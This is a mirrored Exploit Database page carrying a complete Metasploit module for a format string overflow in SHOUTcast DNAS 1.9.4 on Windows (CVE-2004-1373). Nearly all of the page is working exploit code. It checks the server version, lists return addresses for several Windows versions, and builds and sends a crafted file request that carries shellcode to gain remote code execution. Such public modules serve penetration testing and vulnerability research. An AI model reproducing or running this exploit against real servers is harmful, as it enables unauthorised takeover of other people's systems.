SHOUTcast DNAS/Win32 1.9.4 – File Request Format String Overflow (Metasploit)

• Exploit Database
• 10 阅读

• 作者： Metasploit
  日期： 2010-04-30
• 类别：

  • remote
  平台：

  • windows_x86
• 来源：https://www.exploit-db.com/exploits/16751/

• ##
  # $Id: shoutcast_format.rb 9179 2010-04-30 08:40:19Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::HttpClient
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'SHOUTcast DNAS/win32 1.9.4 File Request Format String Overflow',
  			'Description'=> %q{
  					This module exploits a format string vulnerability in the
  				Nullsoft SHOUTcast server for Windows. The vulnerability is
  				triggered by requesting a file path that contains format
  				string specifiers. This vulnerability was discovered by
  				Tomasz Trojanowski and Damian Put.
  			},
  			'Author' => [ 'MC', 'mandragore[at]gmail.com'],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9179 $',
  			'References' =>
  				[
  					[ 'CVE', '2004-1373'],
  					[ 'OSVDB', '12585'],
  					[ 'BID', '12096'],
  				],
  			'Privileged' => false,
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Payload'=>
  				{
  					'Space'=> 250,
  					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					['Windows NT SP5/SP6a English',{ 'Ret' => 0x776a1799 }], # ws2help.dll
  					['Windows 2000 English ALL', { 'Ret' => 0x75022ac4 }], # ws2help.dll
  					['Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad }], # ws2help.dll
  					['Windows 2003 Server English',{ 'Ret' => 0x7ffc0638 }], # PEB return
  				],
  			'DisclosureDate' => 'Dec 23 2004'))
  
  		register_options(
  			[
  				Opt::RPORT(8000)
  			], self.class)
  	end
  
  	def check
  		r = send_request_raw({
  			'uri' => uri
  		}, 5)
  
  		return Exploit::CheckCode::Safe if not r
  
  		m = r.body.match(/Network Audio Server\/([^\s]+)\s+([^<]+)<BR/)
  		return Exploit::CheckCode::Safe if not m
  
  		print_status("This system is running SHOUTcast #{m[1]} on #{m[2]}")
  
  		# SHOUTcast Distributed Network Audio Server/win32 v1.9.2<BR>
  		if (m[1] =~ /v1\.([0-8]\.|9\.[0-3])$/)
  			if (m[2] == "win32")
  				return Exploit::CheckCode::Vulnerable
  			end
  			print_status("Vulnerable version detected, but not a win32 host")
  		end
  
  		return Exploit::CheckCode::Safe
  	end
  
  	def exploit
  
  		num = 1046 - payload.encoded.length
  		uri = '/content/%#0' + num.to_s + 'x' + payload.encoded
  		uri << "\xeb\x06" + rand_text_alphanumeric(2)
  		uri << [target.ret].pack('V')
  		uri << "\xe9\x2d\xff\xff\xff"
  		uri << '#0100x.mp3'
  
  		print_status("Trying to exploit target #{target.name} 0x%.8x" % target.ret)
  		send_request_raw({
  			'uri' => uri
  		}, 5)
  
  		handler
  		disconnect
  	end
  
  end